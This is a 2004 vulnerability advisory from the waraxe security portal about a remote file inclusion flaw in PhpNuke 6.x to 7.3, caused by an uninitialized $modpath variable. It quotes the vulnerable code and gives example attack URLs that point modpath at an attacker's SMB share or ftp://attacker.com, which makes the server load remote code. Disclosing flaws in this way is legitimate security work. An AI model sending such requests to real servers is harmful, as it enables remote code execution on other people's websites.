Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
February 7, 2012
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 Error solutions
 y3dips ITsec
 Md5 Cracker
 plain-text.info
 Game Reviews
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: Meonkzt
New Today: 1
New Yesterday: 2
Overall: 7978

People Online:
Visitors: 211
Members: 2
Total: 213

Online Now:
01: OneGuy - Forums
02: ZiPo - Homepage
milw0rm
·[webapps / 0day] - Tube Ace(Adult PHP Tube Script) SQL Injection
·[webapps / 0day] - GAzie <= 5.20 Cross Site Request Forgery
·[dos / poc] - Edraw Diagram Component 5 ActiveX buffer overflow DoS
·[dos / poc] - PHP 5.4.0RC6 64bit Denial of Service
·[dos / poc] - PHP 5.4SVN-2012-02-03 htmlspecialchars/entities Buffer Overflow
·[dos / poc] - torrent-stats httpd.c Denial of Service
·[remote exploits] - Icona SpA C6 Messenger DownloaderActiveX Control Arbitrary File Execute
·[remote exploits] - Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57
·[dos / poc] - NetSarang Xlpd Printer Daemon 4 Denial of Service Vulnerability
·[dos / poc] - OfficeSIP Server 3.1 Denial Of Service Vulnerability

read more...
PacketStorm News
·Debian Security Advisory 2384-2
·Secunia Security Advisory 47843
·Secunia Security Advisory 47856
·Secunia Security Advisory 47859
·Secunia Security Advisory 47851
·Secunia Security Advisory 47806
·Secunia Security Advisory 47846
·Secunia Security Advisory 47817
·Secunia Security Advisory 47813
·Secunia Security Advisory 47847

read more...
[waraxe-2004-SA#029] - Possible remote file inclusion in PhpNuke 6.x - 7.3





Author: Janek Vind "waraxe"
Date: 17. May 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=29


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From what should i start? Well, let's begin from looking at source code of the
index.php file from PhpNuke package.

From original code:

----------------------------------------------------------------------
...

if (file_exists("themes/$ThemeSel/modules/$name/$mod_file.php"))
{
$modpath = "themes/$ThemeSel/";
}
$modpath .= "modules/$name/$mod_file.php";
if (file_exists($modpath))
{
include($modpath);
}
else
{

...

----------------------------------------------------------------------

What we can see, is that IF selected theme has not customized module file, then path
to default module file will be concatenated to variable $modpath:

$modpath .= "modules/$name/$mod_file.php";

Hmm, it seems, that $modpath is not initialized at all on those conditions...
Let's test it in real world:

http://localhost/nuke73/index.php?modpath=foobar

And what we can see:

"There is a problem right now on the Homepage. Please check back later."

Yes, yes, yes, it works! But now comes bad news for all potential attackers (and good
news for website admins): you see the code "if (file_exists($modpath))"?
This checking routine will fail our attempt to remote file inclusion on most of the
servers. Why "most", not "all"? For answer let's look at php manual (RTFM!!!):

From php manual:

----------------------------------------------------------------------
...

file_exists

(PHP 3, PHP 4 )
file_exists -- Checks whether a file or directory exists

Description
bool file_exists ( string filename)

Returns TRUE if the file or directory specified by filename exists; FALSE otherwise.
On windows, use //computername/share/filename or \computernamesharefilename to
check files on network shares.

Tip: As of PHP 5.0.0 this function can also be used with some url wrappers.
Refer to Appendix I for a listing of which wrappers support stat() family of functionality.

...
-----------------------------------------------------------------------

And if we look for information about "some url wrappers", then we can see, that
in case of php version 5.x remote inclusion through ftp protocol is possible, because
"file_exists()" function will return "true", when "$modpath" is properly set.

So by my opinion there is 2 cases, when remote file inclusion is possible:


1. If victim server is running Windows operating system and there are no firewall
restrictions against remote SMB connections. Then potential attacker can exploit
remote file inclusion with http request similar like this:

http://localhost/nuke73/index.php?modpath=//attacker_ip/share_name/


2. If victim server is running php version 5.x, then attack request can be something like this:

http://localhost/nuke73/index.php?modpath=ftp://attacker.com/directory/


And because windows servers with phpnuke are rare fenomena, and php version 5.x
is not yet widespread, then right now this remote file inclusion case is not so
critical and will not harm many servers, but it's needed to be fixed ASAP.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Wanna know, how to patch this security hole? Then you are welcome to visit
forum on my homepage at http://www.waraxe.us/forum/
See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to all bugtraq readers in Estonia! Tervitused!
Special greets to http://www.gamecheaters.us staff!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2005-01-06 (5675 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2390
vince213333  vince213333 - 707
pexli  pexli - 663
Mullog  Mullog - 484
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 353
tsabitah  tsabitah - 328
y3dips  y3dips - 281
lenny  lenny - 275
News @ SecurityFocus
·News: Twitter attacker had proper credentials
·News: PhotoDNA scans images for child abuse
·News: Conficker data highlights infected networks
·News: Popular apps need better patching, says report
·Brief: Google offers bounty on browser bugs
·Brief: Cyberattacks from U.S. "greatest concern"
·Brief: Microsoft patches as fraudsters target IE flaw
·Brief: Attack on IE 0-day refined by researchers
·News: Adobe pushes out Flash security fix
·News: Most consumers reuse banking passwords

read more...
Security Basics
·Verifying my FB page
·Re: Re: Picking a SIEM: How's envision compared with Arcsight?
·Exploit Pack - Hacking Microsoft Word and Excel
·Re: Best Commercial Security Testing tools
·Re: VPN Service
·RE: CISSP online training
·RE: VPN Service
·Re: VPN Service
·Re: VPN Service
·Re: VPN Service

read more...
alexa



Movie Reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2010 Janek Vind "waraxe"

Page Generation: 0.166 Seconds